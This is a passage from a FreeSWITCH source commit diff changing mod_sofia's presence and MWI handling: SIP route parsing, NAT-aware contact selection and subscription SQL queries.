+	if (!strcasecmp(name, "rpid")) {
+		return CID_TYPE_RPID;
+	}
 
+	if (!strcasecmp(name, "pid")) {
+		return CID_TYPE_PID;
+	}
+
+	return CID_TYPE_NONE;
+	
+}
+
+/* all the values of the structure are initialized to NULL  */
+/* in case of failure the function returns NULL */
+/* sofia_destination->route can be NULL */
+sofia_destination_t* sofia_glue_get_destination(char *data)
+{
+	sofia_destination_t *dst = NULL;
+	char *to = NULL;
+	char *contact = NULL;
+    char *route = NULL;
+    char *route_uri = NULL;
+	char *eoc = NULL;
+	char *p = NULL;
+
+	if (switch_strlen_zero(data)) {
+		return NULL;
+	}
+
+	if (!(dst = (sofia_destination_t *)malloc(sizeof(sofia_destination_t)))) {
+		return NULL;
+	}
+
+	/* return a copy of what is in the buffer between the first < and > */
+	if (!(contact = sofia_glue_get_url_from_contact(data, 1))) {
+		goto mem_fail;
+	}
+
+	if((eoc = strstr(contact, ";fs_path="))) {
+		*eoc = '\0';
+
+		if(!(route = strdup(eoc + 9))) {
+			goto mem_fail;
+		}
+
+		for (p = route; p && *p ; p++) {
+			if (*p == '>' || *p == ';') {
+				*p = '\0';
+				break;
+			}
+		}
+
+		switch_url_decode(route);
+
+ 		if (!(route_uri = strdup(route))) {
+			goto mem_fail;
+		}
+		if ((p = strchr(route_uri, ','))) {
+			do {
+				*p = '\0';
+			} while ((--p > route_uri) && *p == ' ');
+		}
+	} 
+	
+	if (!(to = strdup(data))) {
+		goto mem_fail;
+	}
+
+	if((eoc = strstr(to, ";fs_path="))) {
+		*eoc++ = '>';	
+		*eoc = '\0';	
+	}
+	
+	if ((p = strstr(contact, ";fs_"))) {
+		*p = '\0';
+	}
+	
+	dst->contact = contact;
+	dst->to = to;
+	dst->route = route;
+	dst->route_uri = route_uri;
+	return dst;
+
+mem_fail:
+	switch_safe_free(contact);
+	switch_safe_free(to);
+	switch_safe_free(route);
+	switch_safe_free(route_uri);
+	switch_safe_free(dst);
+	return NULL;
+}
+
+void sofia_glue_free_destination(sofia_destination_t *dst)
+{
+	if (dst) {
+		switch_safe_free(dst->contact);
+		switch_safe_free(dst->route);
+		switch_safe_free(dst->route_uri);
+		switch_safe_free(dst->to);
+		switch_safe_free(dst);
+	}
+}
+
 /* For Emacs:
  * Local Variables:
  * mode:c

Modified: freeswitch/branches/seven/src/mod/endpoints/mod_sofia/sofia_presence.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_sofia/sofia_presence.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_sofia/sofia_presence.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Ken Rice, Asteria Solutions Group, Inc <ken@asteriasgi.com>
  * Paul D. Tinsley <pdt at jackhammer.org>
  * Bret McDanel <trixter AT 0xdecafbad.com>
@@ -57,10 +57,11 @@
 	sofia_profile_t *profile = NULL;
 	char *ffrom = NULL;
 	nua_handle_t *msg_nh;
-	char *contact;
+	char *contact = NULL;
 	char *dup = NULL;
 	switch_status_t status = SWITCH_STATUS_FALSE;
 	const char *ct = "text/html";
+	sofia_destination_t *dst = NULL;
 
 	if (!to) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Missing To: header.\n");
@@ -134,21 +135,29 @@
 		from = ffrom;
 		switch_safe_free(fp);
 	}
+	
+	if (!(dst = sofia_glue_get_destination(buf))) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Memory Error!\n");
+		goto end;
+	}
 
+	/* sofia_glue is running sofia_overcome_sip_uri_weakness we do not, not sure if it matters */
+
 	status = SWITCH_STATUS_SUCCESS;
-	contact = sofia_glue_get_url_from_contact(buf, 1);
 	/* if this cries, add contact here too, change the 1 to 0 and omit the safe_free */
-	msg_nh = nua_handle(profile->nua, NULL, SIPTAG_FROM_STR(from), NUTAG_URL(contact), SIPTAG_TO_STR(buf),	
-						SIPTAG_CONTACT_STR(profile->url), TAG_END());
-
-	switch_safe_free(contact);
+	msg_nh = nua_handle(profile->nua, NULL, TAG_IF(dst->route_uri, NUTAG_PROXY(dst->route_uri)), TAG_IF(dst->route, SIPTAG_ROUTE_STR(dst->route)),
+						SIPTAG_FROM_STR(from), NUTAG_URL(contact),
+						SIPTAG_TO_STR(dst->to), SIPTAG_CONTACT_STR(profile->url),
+						TAG_END());
+	nua_handle_bind(msg_nh, &mod_sofia_globals.destroy_private);
 	nua_message(msg_nh, SIPTAG_CONTENT_TYPE_STR(ct), SIPTAG_PAYLOAD_STR(body), TAG_END());
-
+	
+	
  end:
-
+	sofia_glue_free_destination(dst);
+	switch_safe_free(contact);
 	switch_safe_free(ffrom);
 	switch_safe_free(dup);
-
 	if (profile) {
 		switch_thread_rwlock_unlock(profile->rwlock);
 	}
@@ -169,8 +178,9 @@
 	
 	if ((sql = switch_mprintf(
 							  "select proto,sip_user,sip_host,sub_to_user,sub_to_host,event,contact,call_id,full_from,"
-							  "full_via,expires,user_agent,accept,profile_name"
-							  ",-1,'unavailable','unavailable' from sip_subscriptions where event='presence'"))) {
+							  "full_via,expires,user_agent,accept,profile_name,network_ip"
+							  ",-1,'unavailable','unavailable' from sip_subscriptions where event='presence' and hostname='%q'", 
+							  mod_sofia_globals.hostname))) {
 		switch_mutex_lock(mod_sofia_globals.hash_mutex);
 		for (hi = switch_hash_first(NULL, mod_sofia_globals.profile_hash); hi; hi = switch_hash_next(hi)) {
 			switch_hash_this(hi, NULL, NULL, &val);
@@ -242,6 +252,9 @@
 	switch_event_header_t *hp;
 	struct mwi_helper h = { 0 };
 	char *pname = NULL;
+	const char *call_id;
+	const char *sub_call_id;
+	int for_everyone = 0;
 
 	switch_assert(event != NULL);
 
@@ -255,6 +268,14 @@
 		return;
 	}
 
+	call_id = switch_event_get_header(event, "call-id");
+	sub_call_id = switch_event_get_header(event, "sub-call-id");
+
+	if (!call_id && !sub_call_id) {
+		for_everyone = 1;
+	}
+
+
 	dup_account = strdup(account);
 	switch_assert(dup_account != NULL);
 	sofia_glue_get_user_host(dup_account, &user, &host);
@@ -298,30 +319,50 @@
 
 	stream.write_function(&stream, "\r\n");
 	
-	sql = switch_mprintf("select proto,sip_user,sip_host,sub_to_user,sub_to_host,event,contact,call_id,full_from,"
-						 "full_via,expires,user_agent,accept,profile_name"
-						 ",'%q','%q' from sip_subscriptions where event='message-summary' "
-						 "and sub_to_user='%q' and (sub_to_host='%q' or presence_hosts like '%%%q%%')",
-						 stream.data, host, user, host, host);
+	sql = NULL;
 
-	switch_assert(sql != NULL);
-	sofia_glue_execute_sql_callback(profile, SWITCH_FALSE, profile->ireg_mutex, sql, sofia_presence_mwi_callback, &h);
-	
-	switch_safe_free(sql);
+	if (for_everyone) {
+		sql = switch_mprintf("select proto,sip_user,sip_host,sub_to_user,sub_to_host,event,contact,call_id,full_from,"
+							 "full_via,expires,user_agent,accept,profile_name,network_ip"
+							 ",'%q','%q' from sip_subscriptions where event='message-summary' "
+							 "and sub_to_user='%q' and (sub_to_host='%q' or presence_hosts like '%%%q%%')",
+							 stream.data, host, user, host, host);
+	} else if (sub_call_id) {
+		sql = switch_mprintf("select proto,sip_user,sip_host,sub_to_user,sub_to_host,event,contact,call_id,full_from,"
+							 "full_via,expires,user_agent,accept,profile_name,network_ip"
+							 ",'%q','%q' from sip_subscriptions where event='message-summary' "
+							 "and sub_to_user='%q' and (sub_to_host='%q' or presence_hosts like '%%%q%%' and call_id='%q')",
+							 stream.data, host, user, host, host, sub_call_id);
+	}
 
-	sql = switch_mprintf("select sip_user,sip_host,contact,profile_name,'%q' from sip_registrations where sip_user='%q' and sip_host='%q'", 
-						 stream.data, user, host);
 
+	if (sql) {
+		sofia_glue_execute_sql_callback(profile, SWITCH_FALSE, profile->ireg_mutex, sql, sofia_presence_mwi_callback, &h);
+		free(sql);
+		sql = NULL;
+		
+	}
 
+	if (for_everyone) {
+		sql = switch_mprintf("select sip_user,sip_host,contact,profile_name,network_ip,'%q' "
+							 "from sip_registrations where sip_user='%q' and sip_host='%q'", 
+							 stream.data, user, host);
+	} else if (call_id) {
+		sql = switch_mprintf("select sip_user,sip_host,contact,profile_name,network_ip,'%q' "
+							 "from sip_registrations where sip_user='%q' and sip_host='%q' and call_id='%q'", 
+							 stream.data, user, host, call_id);
+	}
 
-	switch_assert(sql != NULL);
-	sofia_glue_execute_sql_callback(profile, SWITCH_FALSE, profile->ireg_mutex, sql, sofia_presence_mwi_callback2, &h);
+	if (sql) {
+		switch_assert(sql != NULL);
+		sofia_glue_execute_sql_callback(profile, SWITCH_FALSE, profile->ireg_mutex, sql, sofia_presence_mwi_callback2, &h);
+		free(sql);
+		sql = NULL;
+	}
 
-	switch_safe_free(sql);
-
 	switch_safe_free(stream.data);
+	switch_safe_free(dup_account);
 
-	switch_safe_free(dup_account);
 	if (profile) {
 		sofia_glue_release_profile(profile);
 	}
@@ -374,7 +415,7 @@
 								 "sip_subscriptions.sub_to_user,sip_subscriptions.sub_to_host,sip_subscriptions.event,"
 								 "sip_subscriptions.contact,sip_subscriptions.call_id,sip_subscriptions.full_from,"
 								 "sip_subscriptions.full_via,sip_subscriptions.expires,sip_subscriptions.user_agent,"
-								 "sip_subscriptions.accept,sip_subscriptions.profile_name"
+								 "sip_subscriptions.accept,sip_subscriptions.profile_name,sip_subscriptions.network_ip"
 								 ",1,'%q','%q',sip_presence.status,sip_presence.rpid "
 								 "from sip_subscriptions left join sip_presence on "
 								 "(sip_subscriptions.sub_to_user=sip_presence.sip_user and sip_subscriptions.sub_to_host=sip_presence.sip_host and "
@@ -387,7 +428,7 @@
 								 "sip_subscriptions.sub_to_user,sip_subscriptions.sub_to_host,sip_subscriptions.event,"
 								 "sip_subscriptions.contact,sip_subscriptions.call_id,sip_subscriptions.full_from,"
 								 "sip_subscriptions.full_via,sip_subscriptions.expires,sip_subscriptions.user_agent,"
-								 "sip_subscriptions.accept,sip_subscriptions.profile_name"
+								 "sip_subscriptions.accept,sip_subscriptions.profile_name,sip_subscriptions.network_ip"
 								 ",1,'%q','%q',sip_presence.status,sip_presence.rpid "
 								 "from sip_subscriptions left join sip_presence on "
 								 "(sip_subscriptions.sub_to_user=sip_presence.sip_user and sip_subscriptions.sub_to_host=sip_presence.sip_host and "
@@ -562,11 +603,15 @@
 								  event->event_id == SWITCH_EVENT_PRESENCE_IN ? "IN" : "OUT", profile->name);
 			}
 
-			if (mod_sofia_globals.debug_presence > 1) {
+			if (mod_sofia_globals.debug_presence) {
 				char *buf;
 				switch_event_serialize(event, &buf, SWITCH_FALSE);
 				switch_assert(buf);
-				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "DUMP PRESENCE SQL:\n%s\nEVENT DUMP:\n%s\n", sql, buf);
+				if (mod_sofia_globals.debug_presence > 1) {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "DUMP PRESENCE SQL:\n%s\nEVENT DUMP:\n%s\n", sql, buf);
+				} else {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "EVENT DUMP:\n%s\n", buf);
+				}
 				free(buf);
 			}
 
@@ -750,6 +795,7 @@
 		if (switch_event_create(&event, SWITCH_EVENT_MESSAGE_QUERY) == SWITCH_STATUS_SUCCESS) {
 			switch_event_add_header(event, SWITCH_STACK_BOTTOM, "Message-Account", "sip:%s@%s", user, host);
 			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "VM-Sofia-Profile", profile->name);
+			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "VM-sub-call-id", argv[7]);
 			switch_event_fire(&event);
 		}
 		return 0;
@@ -830,7 +876,7 @@
 			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "unique-id", uuid);
 			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "answer-state", state);
 			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "astate", state);
-			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "call-direction", direction);
+			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "presence-call-direction", direction);
 		}
 
 		switch_event_fire(&event);
@@ -873,16 +919,18 @@
 
 static char *gen_pidf(char *user_agent, char *id, char *url, char *open, char *rpid, char *prpid, char *status, const char **ct)
 {
+	char *ret = NULL;
+
 	if (switch_stristr("polycom", user_agent)) {
 		*ct = "application/xpidf+xml";
-
+		
 		/* of course!, lets make a big deal over dashes. Now the stupidity is complete. */
 
 		if (!strcmp(prpid, "on-the-phone")) {
 			prpid = "onthephone";
 		}
 
-		return switch_mprintf(
+		ret = switch_mprintf(
 							  "<?xml version=\"1.0\"?>\n"
 							  "<!DOCTYPE presence PUBLIC \"-//IETF//DTD RFCxxxx XPIDF 1.0//EN\" \"xpidf.dtd\">\n"
 							  "<presence>\n"
@@ -900,7 +948,7 @@
 							  );
 	} else {
 		*ct = "application/pidf+xml";
-		return switch_mprintf(
+		ret = switch_mprintf(
 							  "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?> \n"
 							  "<presence xmlns='urn:ietf:params:xml:ns:pidf' \n"
 							  "xmlns:dm='urn:ietf:params:xml:ns:pidf:data-model' \n"
@@ -920,6 +968,9 @@
 							  " </dm:person>\n"
 							  "</presence>", id, open, prpid, status);
 	}
+
+
+	return ret;
 }
 
 static int sofia_presence_sub_callback(void *pArg, int argc, char **argv, char **columnNames)
@@ -946,7 +997,7 @@
 	char *open;
 	char *prpid;
 	const char *ct = "no/idea";
-	time_t exptime = switch_timestamp(NULL) + 3600;
+	time_t exptime = switch_epoch_time_now(NULL) + 3600;
 	int is_dialog = 0;
 	sofia_profile_t *ext_profile = NULL, *profile = helper->profile;
 	char sstr[128] = "";
@@ -990,7 +1041,7 @@
 	if (expires) {
 		long tmp = atol(expires);
 		if (tmp > 0) {
-			exptime = tmp - switch_timestamp(NULL) - SUB_OVERLAP;
+			exptime = tmp - switch_epoch_time_now(NULL) - SUB_OVERLAP;
 		} else {
 			exptime = tmp;
 		}
@@ -1030,7 +1081,7 @@
 
 	if (helper->event) {
 		switch_stream_handle_t stream = { 0 };
-		const char *direction = switch_str_nil(switch_event_get_header(helper->event, "call-direction"));
+		const char *direction = switch_str_nil(switch_event_get_header(helper->event, "presence-call-direction"));
 		const char *uuid = switch_str_nil(switch_event_get_header(helper->event, "unique-id"));
 		const char *state = switch_str_nil(switch_event_get_header(helper->event, "channel-state"));
 		const char *event_status = switch_str_nil(switch_event_get_header(helper->event, "status"));
@@ -1040,8 +1091,8 @@
 		const char *from_id = switch_str_nil(switch_event_get_header(helper->event, "Other-Leg-Caller-ID-Number"));
 		const char *to_user = switch_str_nil(switch_event_get_header(helper->event, "variable_sip_to_user"));
 		const char *from_user = switch_str_nil(switch_event_get_header(helper->event, "variable_sip_from_user"));
-		const char *clean_to_user = NULL;
-		const char *clean_from_user = NULL;
+		char *clean_to_user = NULL;
+		char *clean_from_user = NULL;
 		const char *p_to_user = switch_str_nil(switch_event_get_header(helper->event, "to-user"));
 #if 0
 		char *buf;
@@ -1063,7 +1114,7 @@
 			dft_state = "confirmed";
 		}
 
-		if (!strcasecmp(state, "cs_execute") && !strstr(event_status, "hold")) {
+		if ((!strcasecmp(state, "cs_execute") && !strstr(event_status, "hold")) || !strcasecmp(state, "cs_reporting")) {
 			goto end;
 		}
 
@@ -1148,6 +1199,9 @@
 						stream.write_function(&stream, "</remote>\n");
 					}
 				}
+
+				switch_safe_free(clean_to_user);
+				switch_safe_free(clean_from_user);
 			}
 			if (is_dialog) {
 				stream.write_function(&stream, "</dialog>\n");
@@ -1229,6 +1283,12 @@
 		}
 	}
 
+	if (mod_sofia_globals.debug_presence > 0 && pl) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "send payload:\n%s\n", pl);
+	}
+
+
+
 	nua_notify(nh, 
 			   TAG_IF(*expires_str, SIPTAG_EXPIRES_STR(expires_str)),
 			   SIPTAG_SUBSCRIPTION_STATE_STR(sstr),
@@ -1260,7 +1320,7 @@
 	char *call_id = argv[7];
 	char *expires = argv[10];
 	char *profile_name = argv[13];
-	char *body = argv[14];
+	char *body = argv[15];
 	char *id = NULL;
 	nua_handle_t *nh;
 	int expire_sec = atoi(expires);
@@ -1281,7 +1341,7 @@
 	}
 
 	id = switch_mprintf("sip:%s@%s", sub_to_user, sub_to_host);
-	expire_sec = (int) (expire_sec - switch_timestamp(NULL));
+	expire_sec = (int) (expire_sec - switch_epoch_time_now(NULL));
 	if (expire_sec < 0) {
 		expire_sec = 3600;
 	}
@@ -1308,15 +1368,16 @@
 	char *sub_to_user = argv[0];
 	char *sub_to_host = argv[1];
 	char *event = "message-summary";
-	char *contact, *o_contact = argv[2];
+	char *o_contact = argv[2];
 	char *profile_name = argv[3];
-	char *body = argv[4];
+	char *network_ip = argv[4];
+	char *body = argv[5];
 	char *id = NULL;
 	nua_handle_t *nh;
 	struct mwi_helper *h = (struct mwi_helper *) pArg;
 	sofia_profile_t *ext_profile = NULL, *profile = h->profile;
-	char *route = NULL, *route_uri = NULL;
-	char *p;
+	sofia_destination_t *dst = NULL;
+	char *contact_str, *contact, *user_via = NULL;
 
 	if (profile_name && strcasecmp(profile_name, h->profile->name)) {
 		if ((ext_profile = sofia_glue_find_profile(profile_name))) {
@@ -1324,56 +1385,62 @@
 		}
 	}
 
-	id = switch_mprintf("sip:%s@%s", sub_to_user, sub_to_host);
+	contact = sofia_glue_get_url_from_contact(o_contact, 1);
+	if (sofia_glue_check_nat(profile, network_ip)) {
+		char *ptr = NULL;
+		const char *transport_str = NULL;
 
-	contact = sofia_glue_get_url_from_contact(o_contact, 1);
-	if ((route = strstr(contact, ";fs_path=")) && (route = strdup(route + 9))) {
-		
-		for (p = route; p && *p ; p++) {
-			if (*p == '>' || *p == ';') {
-				*p = '\0';
+
+		id = switch_mprintf("sip:%s@%s", sub_to_user, profile->extsipip);
+		switch_assert(id);
+
+		if ((ptr = sofia_glue_find_parameter(o_contact, "transport="))) {
+			sofia_transport_t transport = sofia_glue_str2transport(ptr);
+			transport_str = sofia_glue_transport2str(transport);
+
+			switch (transport) {
+			case SOFIA_TRANSPORT_TCP:
+				contact_str = profile->tcp_public_contact;
 				break;
+			case SOFIA_TRANSPORT_TCP_TLS:
+				contact_str = profile->tls_public_contact;
+				break;
+			default:
+				contact_str = profile->public_url;
+				break;
 			}
+			user_via = sofia_glue_create_external_via(NULL, profile, transport);
+		} else {
+			user_via = sofia_glue_create_external_via(NULL, profile, SOFIA_TRANSPORT_UDP);
+			contact_str = profile->public_url;
 		}
-		switch_url_decode(route);
-		route_uri = route;
-		if ((p = strchr(route_uri, ','))) {
-			while (*(p-1) == ' ') {
-				p--;
-			}
-			if (*p) {
-				*p = '\0';
-			}
-		}
+		
+	} else {
+		contact_str = profile->url;
+		id = switch_mprintf("sip:%s@%s", sub_to_user, sub_to_host);
 	}
 
-	if (!route_uri && strstr(contact, ";fs_nat")) {
-		route_uri = contact;
-	}
+	dst = sofia_glue_get_destination(o_contact);
+	switch_assert(dst);
 
-	if ((p = strstr(contact, ";fs_"))) {
-		*p = '\0';
-	}
+	nh = nua_handle(profile->nua, NULL, NUTAG_URL(contact),
+					SIPTAG_FROM_STR(id), SIPTAG_TO_STR(id),
+					SIPTAG_CONTACT_STR(contact_str), TAG_END());
+	nua_handle_bind(nh, &mod_sofia_globals.destroy_private);
 
-	if (route_uri) {
-		while (route_uri && *route_uri && (*route_uri == '<' || *route_uri == ' ')) {
-			route_uri++;
-		}
-		if ((p = strchr(route_uri, '>'))) {
-			*p++ = '\0';
-		}
-	}
-	
-	nh = nua_handle(profile->nua, NULL, NUTAG_URL(contact), SIPTAG_FROM_STR(id), SIPTAG_TO_STR(id), SIPTAG_CONTACT_STR(h->profile->url), TAG_END());
-
 	nua_notify(nh,
 			   NUTAG_NEWSUB(1),
-			   TAG_IF(route_uri, NUTAG_PROXY(route_uri)),
-			   SIPTAG_EVENT_STR(event), SIPTAG_CONTENT_TYPE_STR("application/simple-message-summary"), SIPTAG_PAYLOAD_STR(body), TAG_END());
-
+			   TAG_IF(dst->route_uri, NUTAG_PROXY(dst->route_uri)), TAG_IF(dst->route, SIPTAG_ROUTE_STR(dst->route)),
+			   TAG_IF(user_via, SIPTAG_VIA_STR(user_via)),
+			   SIPTAG_EVENT_STR(event),
+			   SIPTAG_CONTENT_TYPE_STR("application/simple-message-summary"),
+			   SIPTAG_PAYLOAD_STR(body), TAG_END());
+	
 	switch_safe_free(contact);
 	switch_safe_free(id);
-	switch_safe_free(route);
+	sofia_glue_free_destination(dst);
+	switch_safe_free(user_via);
+
 	if (ext_profile) {
 		sofia_glue_release_profile(ext_profile);
 	}
@@ -1409,13 +1476,13 @@
 		switch_event_t *sevent;
 		int sub_state;
 		int sent_reply = 0;
-		su_addrinfo_t *my_addrinfo = msg_addrinfo(nua_current_request(nua));
 		int network_port = 0;
 		char network_ip[80];
 		const char *contact_host, *contact_user;
 		char *port;
 		char new_port[25] = "";
 		char *is_nat = NULL;
+		int is_auto_nat = 0;
 		const char *ipv6;
 
 		if (!(contact && sip->sip_contact->m_url)) {
@@ -1423,9 +1490,12 @@
 			return;
 		}
 
-		get_addr(network_ip, sizeof(network_ip), my_addrinfo->ai_addr, my_addrinfo->ai_addrlen);
-		network_port = ntohs(((struct sockaddr_in *) msg_addrinfo(nua_current_request(nua))->ai_addr)->sin_port);
+		sofia_glue_get_addr(nua_current_request(nua), network_ip,  sizeof(network_ip), &network_port);
 
+		if (sofia_glue_check_nat(profile, network_ip)) {
+			is_auto_nat = 1;
+		}	
+
 		tl_gets(tags, NUTAG_SUBSTATE_REF(sub_state), TAG_END());
 
 		event = sip_header_as_string(profile->home, (void *) sip->sip_event);
@@ -1447,7 +1517,7 @@
 			display = "\"user\"";
 		}
 
-		if ((profile->pflags & PFLAG_AGGRESSIVE_NAT_DETECTION)) {
+		if (sofia_test_pflag(profile, PFLAG_AGGRESSIVE_NAT_DETECTION)) {
 			if (sip && sip->sip_via) {
 				const char *v_port = sip->sip_via->v_port;
 				const char *v_host = sip->sip_via->v_host;
@@ -1501,7 +1571,7 @@
 										ipv6 ? "]" : "",
 										new_port,
 										contact->m_url->url_params,
-										is_nat ? ";nat" : "");
+										is_nat ? ";fs_nat" : "");
 		} else {
 			contact_str = switch_mprintf("%s <sip:%s@%s%s%s%s>%s",
 										display,
@@ -1510,9 +1580,25 @@
 										contact_host,
 										ipv6 ? "]" : "",
 										new_port,
-										is_nat ?  ";nat" : "");
+										is_nat ?  ";fs_nat" : "");
 		}
 
+
+
+		/* the following could be refactored back to the calling event handler in sofia.c XXX MTK */
+		if (sofia_test_pflag(profile, PFLAG_MANAGE_SHARED_APPEARANCE)) {
+			if (sip->sip_request->rq_url->url_user && !strncmp(sip->sip_request->rq_url->url_user, "sla-agent", sizeof("sla-agent"))) {
+				/* only fire this on <200 to try to avoid resubscribes. probably better ways to do this? */
+				if (status < 200) {
+					sofia_sla_handle_sip_i_subscribe(nua, contact_str, profile, nh, sip, tags);
+				}
+				switch_safe_free(contact_str);
+				return;
+			}
+		}
+
+
+
 		if (to) {
 			to_str = switch_mprintf("sip:%s@%s", to->a_url->url_user, to->a_url->url_host);
 		}
@@ -1585,7 +1671,7 @@
 		exp_delta = profile->force_subscription_expires ? profile->force_subscription_expires : (sip->sip_expires ? sip->sip_expires->ex_delta : 3600);
 		
 		if (exp_delta) {
-			exp_abs = (long) switch_timestamp(NULL) + exp_delta;
+			exp_abs = (long) switch_epoch_time_now(NULL) + exp_delta;
 		} else {
 			exp_abs = 0;
 			sub_state = nua_substate_terminated;
@@ -1628,15 +1714,12 @@
 
 			sql = switch_mprintf("insert into sip_subscriptions "
 								 "(proto,sip_user,sip_host,sub_to_user,sub_to_host,presence_hosts,event,contact,call_id,full_from,"
-								 "full_via,expires,user_agent,accept,profile_name,hostname) "
-								 "values ('%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q',%ld,'%q','%q','%q','%q')",
+								 "full_via,expires,user_agent,accept,profile_name,hostname,network_ip) "
+								 "values ('%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q',%ld,'%q','%q','%q','%q','%q')",
 								 proto, from_user, from_host, to_user, to_host, profile->presence_hosts ? profile->presence_hosts : to_host, 
 								 event, contact_str, call_id, full_from, full_via, 
-
 								 exp_delta * -1, 
-								 //exp_abs + SUB_OVERLAP, 
-
-								 full_agent, accept, profile->name,mod_sofia_globals.hostname);
+								 full_agent, accept, profile->name,mod_sofia_globals.hostname, network_ip);
 								 
 			
 			if (mod_sofia_globals.debug_presence > 0) {
@@ -1669,19 +1752,35 @@
 										network_port,
 										params);
 			}
+
+			if (is_auto_nat) {
+				contactstr = profile->public_url;
+			} else {
+				contactstr = profile->url;
+			}
+
 			
 			if (switch_stristr("port=tcp", contact->m_url->url_params)) {
-				contactstr = profile->tcp_contact;
+				if (is_auto_nat) {
+					contactstr = profile->tcp_public_contact;
+				} else {
+					contactstr = profile->tcp_contact;
+				}
 			} else if (switch_stristr("port=tls", contact->m_url->url_params)) {
-				contactstr = profile->tls_contact;
+				if (is_auto_nat) {
+					contactstr = profile->tls_contact;
+				} else {
+					contactstr = profile->tls_public_contact;
+				}
 			}
 
-			
 			if (nh && nh->nh_ds && nh->nh_ds->ds_usage) {
 				nua_dialog_usage_set_refresh_range(nh->nh_ds->ds_usage, exp_delta + SUB_OVERLAP, exp_delta + SUB_OVERLAP);
 			}
 
-			nua_respond(nh, SIP_202_ACCEPTED, SIPTAG_CONTACT_STR(contact_str), NUTAG_WITH_THIS(nua), 
+			nua_respond(nh, SIP_202_ACCEPTED,
+						SIPTAG_CONTACT_STR(contactstr),
+						NUTAG_WITH_THIS(nua), 
 						SIPTAG_SUBSCRIPTION_STATE_STR(sstr),
 						SIPTAG_EXPIRES_STR(exp_delta_str),
 						TAG_IF(sticky, NUTAG_PROXY(sticky)), TAG_END());
@@ -1704,7 +1803,7 @@
 
 		if ((sql = switch_mprintf(
 								  "select proto,sip_user,'%q',sub_to_user,sub_to_host,event,contact,call_id,full_from,"
-								  "full_via,expires,user_agent,accept,profile_name"
+								  "full_via,expires,user_agent,accept,profile_name,network_ip"
 								  " from sip_subscriptions where sip_user='%q' and (sip_host='%q' or presence_hosts like '%%%q%%')", 
 								  to_host, to_user, to_host, to_host))) {
 			sofia_glue_execute_sql_callback(profile, SWITCH_FALSE, profile->ireg_mutex, sql, sofia_presence_sub_reg_callback, profile);
@@ -1767,6 +1866,14 @@
 		return;
 	}
 
+	/* the following could possibly be refactored back towards the calling event handler in sofia.c XXX MTK */
+	if (sofia_test_pflag(profile, PFLAG_MANAGE_SHARED_APPEARANCE)) {
+		if (!strcasecmp(o->o_type, "dialog") && msg_params_find(o->o_params, "sla")) {
+			sofia_sla_handle_sip_r_subscribe(status, phrase, nua, profile, nh, sofia_private, sip, tags);
+			return;
+		}
+	}
+
 	if (!sofia_private || !sofia_private->gateway) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Gateway information missing\n");
 		return;
@@ -1795,6 +1902,16 @@
 	default:
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "status (%d) != 200, updated state to SUB_STATE_FAILED.\n", status);
 		gw_sub_ptr->state = SUB_STATE_FAILED;
+		
+		if (sofia_private) {
+			nua_handle_destroy(sofia_private->gateway->sub_nh);
+			sofia_private->gateway->sub_nh = NULL;
+			nua_handle_bind(sofia_private->gateway->sub_nh, NULL);
+			sofia_private_free(sofia_private);
+		} else {
+			nua_handle_destroy(nh);
+		}
+
 		break;
 	}
 }
@@ -1810,6 +1927,15 @@
 		sip_payload_t *payload = sip->sip_payload;
 		char *event_type;
 
+		/* the following could instead be refactored back to the calling event handler in sofia.c XXX MTK */
+		if (sofia_test_pflag(profile, PFLAG_MANAGE_SHARED_APPEARANCE)) {
+			/* also it probably is unsafe to dereference so many things in a row without testing XXX MTK */
+			if (sip->sip_request->rq_url->url_user && !strncmp(sip->sip_request->rq_url->url_user, "sla-agent", sizeof("sla-agent"))) {
+				sofia_sla_handle_sip_i_publish(nua, profile, nh, sip, tags);
+				return;
+			}
+		}
+
 		if (from) {
 			from_user = (char *) from->a_url->url_user;
 			from_host = (char *) from->a_url->url_host;
@@ -1859,7 +1985,7 @@
 				}
 
 				exp_delta = (sip->sip_expires ? sip->sip_expires->ex_delta : 3600);
-				exp = (long) switch_timestamp(NULL) + exp_delta;
+				exp = (long) switch_epoch_time_now(NULL) + exp_delta;
 
 				if ((sql =
 					 switch_mprintf("delete from sip_presence where sip_user='%q' and sip_host='%q' "

Modified: freeswitch/branches/seven/src/mod/endpoints/mod_sofia/sofia_reg.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_sofia/sofia_reg.c	2009-08-09 05:55:48 UTC (rev 14471)
